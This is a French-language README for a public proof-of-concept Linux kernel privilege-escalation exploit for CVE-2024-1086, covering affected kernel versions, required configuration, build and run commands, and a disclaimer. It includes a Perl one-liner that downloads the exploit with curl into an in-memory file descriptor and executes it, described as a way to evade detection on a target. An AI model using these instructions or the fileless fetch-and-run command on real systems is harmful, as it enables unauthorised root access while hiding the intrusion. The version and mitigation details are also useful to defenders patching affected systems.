CVE-2024-1086

Preuve de concept universelle d'escalade de privilèges locaux pour CVE-2024-1086, fonctionnant sur la plupart des noyaux Linux entre v5.14 et v6.6, y compris Debian, Ubuntu et KernelCTF. Le taux de réussite est de 99,4 % dans les images KernelCTF.

https://github.com/Notselwyn/CVE-2024-1086/assets/68616630/a3d43951-94ab-4c09-a14b-07b81f89b3de

Article de blog / Analyse détaillée

Une analyse complète de l'exploit – comprenant des informations contextuelles et de nombreux diagrammes utiles – est disponible dans l'article de blog Flipping Pages.

Versions affectées

L'exploit affecte les versions allant de v5.14 (incluse) à v6.6 (incluse), à l'exception des branches corrigées v5.15.149>, v6.1.76>, v6.6.15>. Le correctif pour ces versions a été publié en février 2024. La vulnérabilité sous-jacente affecte toutes les versions (à l'exception des branches stables corrigées) de v3.15 à v6.8-rc1.

Mises en garde :

• L'exploit ne fonctionne pas sur les noyaux v6.4> avec l'option kconfig CONFIG_INIT_ON_ALLOC_DEFAULT_ON=y (y compris Ubuntu v6.5)
• L'exploit nécessite des espaces de noms utilisateur (kconfig CONFIG_USER_NS=y), que ces espaces de noms utilisateur soient non privilégiés (commande sh sysctl kernel.unprivileged_userns_clone = 1), et que nf_tables soit activé (kconfig CONFIG_NF_TABLES=y). Par défaut, tout cela est activé sur Debian, Ubuntu et KernelCTF. Les autres distributions n'ont pas été testées, mais peuvent également fonctionner. De plus, l'exploit n'a été testé que sur x64/amd64.
• L'exploit peut être très instable sur les systèmes avec beaucoup d'activité réseau
  • Les systèmes équipés d'un adaptateur WiFi, lorsqu'ils sont entourés de réseaux WiFi très utilisés, seront très instables.
  • Sur les appareils de test, veuillez désactiver les adaptateurs WiFi via le BIOS.
• Le panique du noyau (plantage du système) après l'exécution de l'exploit est un effet secondaire volontairement non corrigé pour empêcher une utilisation malveillante de l'exploit (c'est-à-dire que les tentatives d'exploitation devraient désormais être plus visibles et peu pratiques dans les opérations réelles). Néanmoins, cela permet toujours une preuve de concept fonctionnelle dans les environnements de laboratoire, car le shell root est fonctionnel et la persistance via le disque est possible.

Utilisation

Configuration

Les valeurs par défaut devraient fonctionner immédiatement sur Debian, Ubuntu et KernelCTF avec un shell local. Sur les configurations/distributions non testées, veuillez vous assurer que les valeurs kconfig correspondent au noyau cible. Celles-ci peuvent être spécifiées dans src/config.h. Si vous exécutez l'exploit sur une machine avec plus de 32 Go de mémoire physique, assurez-vous d'augmenter CONFIG_PHYS_MEM. Si vous exécutez l'exploit via SSH (sur la machine de test) ou un reverse shell, vous souhaiterez peut-être basculer CONFIG_REDIRECT_LOG sur 1 pour éviter une activité réseau inutile.

Compilation

Si cela ne vous convient pas, un binaire x64 compilé avec la configuration par défaut est disponible.

git clone https://github.com/Notselwyn/CVE-2024-1086
cd CVE-2024-1086
make

Binaire : CVE-2024-1086/exploit

Exécution

L'exécution de l'exploit est tout aussi simple :

./exploit

L'exécution sans fichier est également prise en charge, dans les situations de test d'intrusion où les détections doivent être évitées. Cependant, Perl doit être installé sur la cible :

perl -e '
  require qw/syscall.ph/;

  my $fd = syscall(SYS_memfd_create(), $fn, 0);
  system "curl https://example.com/exploit -s >&$fd";
  exec {"/proc/$$/fd/$fd"} "memfd";
'

Avertissement

Les programmes et scripts (« programmes ») dans ce répertoire/dossier/dépôt logiciel (« dépôt ») sont publiés, développés et distribués à des fins éducatives et de recherche uniquement. Je (« le créateur ») n'approuve aucune utilisation malveillante ou illégale des programmes de ce dépôt, car l'intention est de partager la recherche et non de mener des activités illégales avec celle-ci. Je ne suis pas légalement responsable de tout ce que vous faites avec les programmes de ce dépôt.